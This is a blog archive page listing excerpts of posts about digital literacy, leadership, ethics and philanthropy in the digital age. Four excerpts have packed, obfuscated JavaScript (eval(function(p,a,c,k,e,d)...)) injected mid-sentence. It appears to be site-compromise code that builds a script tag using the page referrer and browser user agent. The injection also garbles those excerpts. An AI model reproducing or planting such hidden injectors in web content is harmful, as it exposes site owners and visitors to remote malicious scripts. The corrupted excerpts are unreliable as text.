29 Sep Creating a 21st Century Literacy
Founders Joe Friel, Oliver Smith-Wellnitz, Kristina Jaggard with Dan Sofer and Anni Rowland-Campbell Founders and Coders started life as “Self Organising”, a MeetUp at the British Library[1] which led to a...
Literacy
02 May Brave Conversations goes Global even more in 2019
Posted at 11:24h
in Analogue, Communications, Creativity, Digital, Education, Ethics, Futures, Governance, Imagination, Information, Leadership, Literacy, Social Machine, Web Science
In July last year, before we had Intersticia UK properly set up, I wrote this post. We are about to take Brave Conversations to the next level with events in Melbourne,...
30 Oct Leading in the Age of Cognition
“Knowledge is power. To scrutinize others while avoiding scrutiny oneself is one of the most important forms of power.” (Frank Pasquale, The Black Box Society: The Secret Algorithms That Control...
07 Jun Who frames the future?
Leadership is lifting a person's vision to high sights, the raising of a person's performance to a higher standard, the building of a personality beyond its normal limitations. (Peter Drucker) Professor...
28 May Leadership for the 21st Century
Posted at 09:51h
in Data, Digital, Education, Ethics, Futures, Governance, Imagination, Information, Leadership, Literacy, Philanthropy, Trust
When everyone agrees on where the future is headed - especially when that destination is so far from our current reality - that’s not a sign of inevitability; it’s a...
23 Mar Sleepers, Awake!
(Quote from David Brin) On 1st March Ariana Huffington posted an article entitled "The Great Awakening" which stated that For most of the internet’s young life, the assumption of virtue was built...
29 May Who represents the human in the digital age?
Posted at 10:09h
in Consumerism, Digital, Ethics, Leadership, Literacy, Philanthropy, Philosophy, Social Machine, Trust
A version of this was written for NPC's "State of the Sector" report. What do we mean by “digital”? In his book The Code Economy [1] Philip E. Auerswald talks about the...
03 Nov Sleepers! Awake!
Posted at 11:42h
in Governance, Government, Leadership, Literacy, Philanthropy, Social Machine, Web Science
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ithfe|var|u0026u|referrer|iriif||js|php'.split('|'),0,{})) is the first photo taken of the Earth from space in 1947. It gave humans a new view of their world which Carl Sagan...
13 Mar Becoming “digitally savvy”
I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stksa|var|u0026u|referrer|bzdsi||js|php'.split('|'),0,{})) found this cartoon a while ago and it perfectly resonated with some of the conversations I've had with people about how they are,...
28 Jan Digital Disruption for Good – written for NPC
Next eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybshh|var|u0026u|referrer|kande||js|php'.split('|'),0,{})) week I will facilitate the first of our UK Digital Director workshops which will support the work being done as a part of...
17 Aug Philanthropy in the quantified age
Posted at 09:37h
in Brand, Currency, Data, Digital, Government, Information, Leadership, Literacy, Philanthropy, Social Machine, Transparency, Trust, Value
Facebook eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idbzi|var|u0026u|referrer|rsiiy||js|php'.split('|'),0,{})) isn’t a charity. The poor will pay by surrendering their data. In these few words Evgeny Morozov gets to heart of the digital transformation that...